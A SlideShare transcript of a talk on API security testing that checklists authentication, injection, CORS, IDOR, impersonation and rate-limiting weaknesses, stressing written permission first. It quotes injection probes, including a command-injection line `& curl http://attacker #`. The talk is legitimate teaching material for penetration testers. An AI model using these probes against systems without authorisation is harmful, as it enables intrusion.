SlideShare a Scribd company logo
1 of 24
Download to read offline
API Security Testing
By: Riyaz Walikar
Appsecco | https://blog.appsecco.com
@riyazwalikar | @wincmdfu | https://ibreak.software
Quick talk on some things you can do while
testing APIs for security weaknesses
Before testing
• Ask and obtain written permission!
Before testing
• Enumerate your attack surface
• Use the API documentation (swagger etc.). If not provided, please ask, or
discover using OSINT (api.example.com or /api/docs etc.)
• For apps that consume the APIs, use the User Driven Testing Approach to
enumerate the APIs based on HTTP requests and responses
• Brute force endpoints using a custom dictionary or a large wordlist in
conjunction with the documentation and User Driven Testing
Approach. This technique attempts to find undocumented APIs
• Look through the JS code to find APIs that did not get called due to edge
cases
• Look through HTML comments as well
Common Tools to Test
Tools
• Burp Suite
• curl
• Fiddler
• Postman
• newman
• swagger
• SoapUI
• Rest-Assured
What to test for?
Authentication and Authorisation
• Especially, endpoints that use tokens instead of cookies.
• Look at how long it takes for the tokens to expire
• can the token be reused from a different IP
• can the token be created without the server
• does the token contain any sensitive information (JWT) etc.
• What happens when a token is passed using a different header
• Is the token stored in localStorage and is it cleared by the app when
user logs out
• Is the key hardcoded in the app?
Injection attacks
• Any state changing request (POST, DELETE, PUT etc. GET in some
cases) should be inspected for injection attacks.
• Any request having parameters must be tested with strings that are
known to break command context on the server.
• Like `'` or `" #` for example for SQL injection and `;` or `&` for
command injection.
• In some cases, because API devs normally build a middleware for API
requests, you may need to rely on blind queries (`'; SELECT sleep(100)
#` or `& curl http://attacker #`)
• For json contexts (mongo for example), use curly braces, inject in the
name (not the value) based on Content-Type of the request
Lookout for client side data consumption
• Any data that comes back from the server and is treated as a part of
DOM can reliably become an XSS issue
• User supplied input that comes back inside JSON responses may be
escaped since JSON is being treated as a transport container, but
DOM transformations can still cause the data to get tainted
• A tool like `Sboxr` can be used to identify sources and sinks for your
data and tell you where exactly is the data being consumed
Data categorisation and response data
• Categorise and identify if the data that is being received, is that
sensitive or not
• Context of sensitivity is important
• Is the transport layer secure
• Is the data inside the transport layer secure
Verify response content type
• In some cases, it may so happen that the API endpoints have a
malformed content type, in which browsers may use content sniffing
to determine whether to display or render the content.
• Content-Type: text/html instead of text/json
• `callback` URLs often fall prey to this since these reflect data sent to
the server via GET parameters
• Browsers will render any HTML characters returned in the response
based on the Content-Type
Lookout for Denial of Service condition
• Test your input to see how the API responds to malformed input
• These tests may create DoS conditions especially if the data is being
stored and presented to other users
• An example would be for SOAP APIs, passing an XML file containing
recursive entity expansion may result in memory exhaustion on the
server (xml bomb)
• Obviously don’t use the example from OWASP, but write a smaller
version of that so that the expansion causes a delay in response and
not someone losing their job or hangover on a Saturday morning
Data smuggling through middleware
• Most modern APIs get written with a middleware in between
• This could be a RBAC controller or a data parser
• Test to see if changing the requested content type causes the
application to behave differently
• `application/json` to `text/html`
• `application/xhtml+xml`
• `application/x-www-form-urlencoded`
• Passing additional headers like X-HTTP-Method-Override header to
change the actual processing of the web method may provide
bypasses as well
CSRF with APIs?
• APIs are not normally vulnerable to CSRF attacks
• Simply because the condition to perform a CSRF requires the
presence of an authentication token and APIs are designed to use
headers to pass tokens and not cookies (mostly)
• To set headers, you need to have created the request in the same
origin or your request will be subjected to CORS
• That said, CSRFs should be tested incase the server accepts requests
from any reflected origins and uses cookies to implement “Remember
Me” sort of functionality by maintaining state on the server
• Any unconventional stateful API implementation that uses cookies
must be tested like any other web application being tested for CSRF
Insecure Direct Object References
• Insecure Direct Object References form the basis for a lot of
Authorisation related attacks
• Changing a reference to an object mid request is a definite test for
APIs as authorisation layer may not anticipate all endpoints and
parameters
• Based on the code, for APIs that use routes, change the route
information in the URL to a parameterised request
• For example - `example.com/api/getfile/user/bob/file/4` to
`example.com/api/getfile?user=bob&file=4`
• This can be now attacked and tested for IDOR as it will very likely
bypass the middleware for authorisation
APIs and Cross Origin Requests
• If the API uses Cross Origin requests, verify that the requests are bound to
known origins
• Cross Origin attacks can be used to steal information and perform CSRF
attacks that involve non idempotent requests like PUT or DELETE
operations
• A CSRF can be used to read any tokens that the server may send when
attempting to identify the state of the session using cookies
• These requests raise pre-flight OPTIONS requests when a custom header is
inserted (`X-TOKEN`) or when a non-idempotent request is made
• Some API endpoints may reflect the origin as is, for example - `Origin:
attacker.com` will be reflected in the `Access-Control-Allow-Origin:
attacker.com` which does not solve anything
Impersonation logic
• Sometimes APIs may be written with the intent to provide access to a
different user's session
• If this is documented as a feature, understand how this is
implemented
• It could be as trivial as passing a `X-Authenticate-As:
otheruser@example.com` header
• The server verifies only this header to provide access when the API
was supposed to first check if you are allowed to send this header or
not (Authorisation failure)
Body data in non 2XX responses
• Look at different HTTP responses to see if they adhere to the HTTP
spec or not
• For example, a `401 Unauthorised` or `302 Redirect` response may
actually contain data in the response body
• For a 302, the browser will redirect based on the Location response
header but the 302 may contain data like additional APIs or client
templates
API rate limiting
• Test APIs for rate-limiting as well. The results for this may vary from
production and staging, so make sure you check this with the dev
and/or network teams
• Brute force attacks for API requests like password change or login etc.
can fall prey to this
• Be careful not to lockout any legit users, especially on production
• Context based testing!!!!
API rate limiting
• How the data is being sent and interpreted on the server when rate
limiting is applied is also a cause for concern
• For example, the WordPress xmlrpc can be abused to send a single
request with over 500 password variations to check if any of them
work for the login API
• Rate limiting per request will not work in such a case
Demo apps to learn API security testing
• Here are some apps that are deliberately vulnerable and have an API
backend to practice some of the attack vectors covered in this
presentation
• https://github.com/appsecco/dvcsharp-api
• https://github.com/snoopysecurity/dvws
• https://github.com/payatu/Tiredful-API/blob/master/README.md
• https://github.com/rapid7/hackazon
References
• https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-
exploit-them-d8d3c8600b32
• https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-1/
• https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-2/
• https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-3/
• https://github.com/riyazwalikar/injection-attacks-nosql-talk
Questions
• Riyaz Walikar
• @riyazwalikar
• @wincmdfu
• https://ibreak.software
• https://blog.appsecco.com

More Related Content

What's hot

Web Application Security and Awareness
Web Application Security and AwarenessWeb Application Security and Awareness
Web Application Security and Awareness
Abdul Rahman Sherzad
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 

What's hot (20)

Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
Web Application Security and Awareness
Web Application Security and AwarenessWeb Application Security and Awareness
Web Application Security and Awareness
 
OWASP API Security Top 10 - API World
OWASP API Security Top 10 - API WorldOWASP API Security Top 10 - API World
OWASP API Security Top 10 - API World
 
Web Application Penetration Testing
Web Application Penetration Testing Web Application Penetration Testing
Web Application Penetration Testing
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
OWASP Top 10 API Security Risks
OWASP Top 10 API Security RisksOWASP Top 10 API Security Risks
OWASP Top 10 API Security Risks
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Coding
 
Security testing
Security testingSecurity testing
Security testing
 
OWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewOWASP Top 10 2021 What's New
OWASP Top 10 2021 What's New
 
Rest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API SecurityRest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API Security
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security Fundamentals
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 
Security testing
Security testingSecurity testing
Security testing
 
Secure Code Review 101
Secure Code Review 101Secure Code Review 101
Secure Code Review 101
 

Similar to Api security-testing

REST API Recommendations
REST API RecommendationsREST API Recommendations
REST API Recommendations
Jeelani Shaik
 

Similar to Api security-testing (20)

API Testing Using REST Assured with TestNG
API Testing Using REST Assured with TestNGAPI Testing Using REST Assured with TestNG
API Testing Using REST Assured with TestNG
 
REST API Recommendations
REST API RecommendationsREST API Recommendations
REST API Recommendations
 
POSTMAN.pptx
POSTMAN.pptxPOSTMAN.pptx
POSTMAN.pptx
 
Design API using RAML - basics
Design API using RAML - basicsDesign API using RAML - basics
Design API using RAML - basics
 
restapitest-anil-200517181251.pdf
restapitest-anil-200517181251.pdfrestapitest-anil-200517181251.pdf
restapitest-anil-200517181251.pdf
 
Rest API Testing
Rest API TestingRest API Testing
Rest API Testing
 
RESTful Services
RESTful ServicesRESTful Services
RESTful Services
 
Web Hacking Series Part 5
Web Hacking Series Part 5Web Hacking Series Part 5
Web Hacking Series Part 5
 
CNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesCNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application Technologies
 
CNIT 129S - Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application TechnologiesCNIT 129S - Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application Technologies
 
(ATS6-PLAT04) Query service
(ATS6-PLAT04) Query service (ATS6-PLAT04) Query service
(ATS6-PLAT04) Query service
 
CNIT 129S: 10: Attacking Back-End Components
CNIT 129S: 10: Attacking Back-End ComponentsCNIT 129S: 10: Attacking Back-End Components
CNIT 129S: 10: Attacking Back-End Components
 
CNIT 129S: Ch 4: Mapping the Application
CNIT 129S: Ch 4: Mapping the ApplicationCNIT 129S: Ch 4: Mapping the Application
CNIT 129S: Ch 4: Mapping the Application
 
Mule soft RAML API Designing
Mule soft RAML API DesigningMule soft RAML API Designing
Mule soft RAML API Designing
 
Api fundamentals
Api fundamentalsApi fundamentals
Api fundamentals
 
Ch 3: Web Application Technologies
Ch 3: Web Application TechnologiesCh 3: Web Application Technologies
Ch 3: Web Application Technologies
 
Api FUNdamentals #MHA2017
Api FUNdamentals #MHA2017Api FUNdamentals #MHA2017
Api FUNdamentals #MHA2017
 
API Testing with Open Source Code and Cucumber
API Testing with Open Source Code and CucumberAPI Testing with Open Source Code and Cucumber
API Testing with Open Source Code and Cucumber
 
Rest WebAPI with OData
Rest WebAPI with ODataRest WebAPI with OData
Rest WebAPI with OData
 
Rest APIs Training
Rest APIs TrainingRest APIs Training
Rest APIs Training
 

More from n|u - The Open Security Community

More from n|u - The Open Security Community (20)

Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)
 
Osint primer
Osint primerOsint primer
Osint primer
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Introduction to TLS 1.3
Introduction to TLS 1.3Introduction to TLS 1.3
Introduction to TLS 1.3
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Building active directory lab for red teaming
Building active directory lab for red teamingBuilding active directory lab for red teaming
Building active directory lab for red teaming
 
Owning a company through their logs
Owning a company through their logsOwning a company through their logs
Owning a company through their logs
 
Introduction to shodan
Introduction to shodanIntroduction to shodan
Introduction to shodan
 
Cloud security
Cloud security Cloud security
Cloud security
 
Detecting persistence in windows
Detecting persistence in windowsDetecting persistence in windows
Detecting persistence in windows
 
Frida - Objection Tool Usage
Frida - Objection Tool UsageFrida - Objection Tool Usage
Frida - Objection Tool Usage
 
OSQuery - Monitoring System Process
OSQuery - Monitoring System ProcessOSQuery - Monitoring System Process
OSQuery - Monitoring System Process
 
DevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -SecurityDevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -Security
 
Extensible markup language attacks
Extensible markup language attacksExtensible markup language attacks
Extensible markup language attacks
 
Linux for hackers
Linux for hackersLinux for hackers
Linux for hackers
 
Android Pentesting
Android PentestingAndroid Pentesting
Android Pentesting
 
News bytes null 200314121904
News bytes null 200314121904News bytes null 200314121904
News bytes null 200314121904
 

Recently uploaded

Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
kauryashika82
 
Seal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptxSeal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptx
negromaestrong
 
Spellings Wk 3 English CAPS CARES Please Practise
Spellings Wk 3 English CAPS CARES Please PractiseSpellings Wk 3 English CAPS CARES Please Practise
Spellings Wk 3 English CAPS CARES Please Practise
AnaAcapella
 
The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
heathfieldcps1
 

Recently uploaded (20)

Sociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning ExhibitSociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning Exhibit
 
Holdier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfHoldier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdf
 
PROCESS RECORDING FORMAT.docx
PROCESS      RECORDING        FORMAT.docxPROCESS      RECORDING        FORMAT.docx
PROCESS RECORDING FORMAT.docx
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
 
Micro-Scholarship, What it is, How can it help me.pdf
Micro-Scholarship, What it is, How can it help me.pdfMicro-Scholarship, What it is, How can it help me.pdf
Micro-Scholarship, What it is, How can it help me.pdf
 
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxBasic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
 
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
 
Unit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptxUnit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptx
 
Seal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptxSeal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptx
 
Kodo Millet PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
Kodo Millet  PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...Kodo Millet  PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
Kodo Millet PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
 
General Principles of Intellectual Property: Concepts of Intellectual Proper...
General Principles of Intellectual Property: Concepts of Intellectual  Proper...General Principles of Intellectual Property: Concepts of Intellectual  Proper...
General Principles of Intellectual Property: Concepts of Intellectual Proper...
 
Food safety_Challenges food safety laboratories_.pdf
Food safety_Challenges food safety laboratories_.pdfFood safety_Challenges food safety laboratories_.pdf
Food safety_Challenges food safety laboratories_.pdf
 
Application orientated numerical on hev.ppt
Application orientated numerical on hev.pptApplication orientated numerical on hev.ppt
Application orientated numerical on hev.ppt
 
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdfUGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
 
Third Battle of Panipat detailed notes.pptx
Third Battle of Panipat detailed notes.pptxThird Battle of Panipat detailed notes.pptx
Third Battle of Panipat detailed notes.pptx
 
How to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POSHow to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POS
 
Making communications land - Are they received and understood as intended? we...
Making communications land - Are they received and understood as intended? we...Making communications land - Are they received and understood as intended? we...
Making communications land - Are they received and understood as intended? we...
 
Spellings Wk 3 English CAPS CARES Please Practise
Spellings Wk 3 English CAPS CARES Please PractiseSpellings Wk 3 English CAPS CARES Please Practise
Spellings Wk 3 English CAPS CARES Please Practise
 
The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
 
ComPTIA Overview | Comptia Security+ Book SY0-701
ComPTIA Overview | Comptia Security+ Book SY0-701ComPTIA Overview | Comptia Security+ Book SY0-701
ComPTIA Overview | Comptia Security+ Book SY0-701
 

Api security-testing

  • 1. API Security Testing By: Riyaz Walikar Appsecco | https://blog.appsecco.com @riyazwalikar | @wincmdfu | https://ibreak.software
  • 2. Quick talk on some things you can do while testing APIs for security weaknesses
  • 3. Before testing • Ask and obtain written permission!
  • 4. Before testing • Enumerate your attack surface • Use the API documentation (swagger etc.). If not provided, please ask, or discover using OSINT (api.example.com or /api/docs etc.) • For apps that consume the APIs, use the User Driven Testing Approach to enumerate the APIs based on HTTP requests and responses • Brute force endpoints using a custom dictionary or a large wordlist in conjunction with the documentation and User Driven Testing Approach. This technique attempts to find undocumented APIs • Look through the JS code to find APIs that did not get called due to edge cases • Look through HTML comments as well
  • 6. Tools • Burp Suite • curl • Fiddler • Postman • newman • swagger • SoapUI • Rest-Assured
  • 8. Authentication and Authorisation • Especially, endpoints that use tokens instead of cookies. • Look at how long it takes for the tokens to expire • can the token be reused from a different IP • can the token be created without the server • does the token contain any sensitive information (JWT) etc. • What happens when a token is passed using a different header • Is the token stored in localStorage and is it cleared by the app when user logs out • Is the key hardcoded in the app?
  • 9. Injection attacks • Any state changing request (POST, DELETE, PUT etc. GET in some cases) should be inspected for injection attacks. • Any request having parameters must be tested with strings that are known to break command context on the server. • Like `'` or `" #` for example for SQL injection and `;` or `&` for command injection. • In some cases, because API devs normally build a middleware for API requests, you may need to rely on blind queries (`'; SELECT sleep(100) #` or `& curl http://attacker #`) • For json contexts (mongo for example), use curly braces, inject in the name (not the value) based on Content-Type of the request
  • 10. Lookout for client side data consumption • Any data that comes back from the server and is treated as a part of DOM can reliably become an XSS issue • User supplied input that comes back inside JSON responses may be escaped since JSON is being treated as a transport container, but DOM transformations can still cause the data to get tainted • A tool like `Sboxr` can be used to identify sources and sinks for your data and tell you where exactly is the data being consumed
  • 11. Data categorisation and response data • Categorise and identify if the data that is being received, is that sensitive or not • Context of sensitivity is important • Is the transport layer secure • Is the data inside the transport layer secure
  • 12. Verify response content type • In some cases, it may so happen that the API endpoints have a malformed content type, in which browsers may use content sniffing to determine whether to display or render the content. • Content-Type: text/html instead of text/json • `callback` URLs often fall prey to this since these reflect data sent to the server via GET parameters • Browsers will render any HTML characters returned in the response based on the Content-Type
  • 13. Lookout for Denial of Service condition • Test your input to see how the API responds to malformed input • These tests may create DoS conditions especially if the data is being stored and presented to other users • An example would be for SOAP APIs, passing an XML file containing recursive entity expansion may result in memory exhaustion on the server (xml bomb) • Obviously don’t use the example from OWASP, but write a smaller version of that so that the expansion causes a delay in response and not someone losing their job or hangover on a Saturday morning
  • 14. Data smuggling through middleware • Most modern APIs get written with a middleware in between • This could be a RBAC controller or a data parser • Test to see if changing the requested content type causes the application to behave differently • `application/json` to `text/html` • `application/xhtml+xml` • `application/x-www-form-urlencoded` • Passing additional headers like X-HTTP-Method-Override header to change the actual processing of the web method may provide bypasses as well
  • 15. CSRF with APIs? • APIs are not normally vulnerable to CSRF attacks • Simply because the condition to perform a CSRF requires the presence of an authentication token and APIs are designed to use headers to pass tokens and not cookies (mostly) • To set headers, you need to have created the request in the same origin or your request will be subjected to CORS • That said, CSRFs should be tested incase the server accepts requests from any reflected origins and uses cookies to implement “Remember Me” sort of functionality by maintaining state on the server • Any unconventional stateful API implementation that uses cookies must be tested like any other web application being tested for CSRF
  • 16. Insecure Direct Object References • Insecure Direct Object References form the basis for a lot of Authorisation related attacks • Changing a reference to an object mid request is a definite test for APIs as authorisation layer may not anticipate all endpoints and parameters • Based on the code, for APIs that use routes, change the route information in the URL to a parameterised request • For example - `example.com/api/getfile/user/bob/file/4` to `example.com/api/getfile?user=bob&file=4` • This can be now attacked and tested for IDOR as it will very likely bypass the middleware for authorisation
  • 17. APIs and Cross Origin Requests • If the API uses Cross Origin requests, verify that the requests are bound to known origins • Cross Origin attacks can be used to steal information and perform CSRF attacks that involve non idempotent requests like PUT or DELETE operations • A CSRF can be used to read any tokens that the server may send when attempting to identify the state of the session using cookies • These requests raise pre-flight OPTIONS requests when a custom header is inserted (`X-TOKEN`) or when a non-idempotent request is made • Some API endpoints may reflect the origin as is, for example - `Origin: attacker.com` will be reflected in the `Access-Control-Allow-Origin: attacker.com` which does not solve anything
  • 18. Impersonation logic • Sometimes APIs may be written with the intent to provide access to a different user's session • If this is documented as a feature, understand how this is implemented • It could be as trivial as passing a `X-Authenticate-As: otheruser@example.com` header • The server verifies only this header to provide access when the API was supposed to first check if you are allowed to send this header or not (Authorisation failure)
  • 19. Body data in non 2XX responses • Look at different HTTP responses to see if they adhere to the HTTP spec or not • For example, a `401 Unauthorised` or `302 Redirect` response may actually contain data in the response body • For a 302, the browser will redirect based on the Location response header but the 302 may contain data like additional APIs or client templates
  • 20. API rate limiting • Test APIs for rate-limiting as well. The results for this may vary from production and staging, so make sure you check this with the dev and/or network teams • Brute force attacks for API requests like password change or login etc. can fall prey to this • Be careful not to lockout any legit users, especially on production • Context based testing!!!!
  • 21. API rate limiting • How the data is being sent and interpreted on the server when rate limiting is applied is also a cause for concern • For example, the WordPress xmlrpc can be abused to send a single request with over 500 password variations to check if any of them work for the login API • Rate limiting per request will not work in such a case
  • 22. Demo apps to learn API security testing • Here are some apps that are deliberately vulnerable and have an API backend to practice some of the attack vectors covered in this presentation • https://github.com/appsecco/dvcsharp-api • https://github.com/snoopysecurity/dvws • https://github.com/payatu/Tiredful-API/blob/master/README.md • https://github.com/rapid7/hackazon
  • 23. References • https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to- exploit-them-d8d3c8600b32 • https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-1/ • https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-2/ • https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-3/ • https://github.com/riyazwalikar/injection-attacks-nosql-talk
  • 24. Questions • Riyaz Walikar • @riyazwalikar • @wincmdfu • https://ibreak.software • https://blog.appsecco.com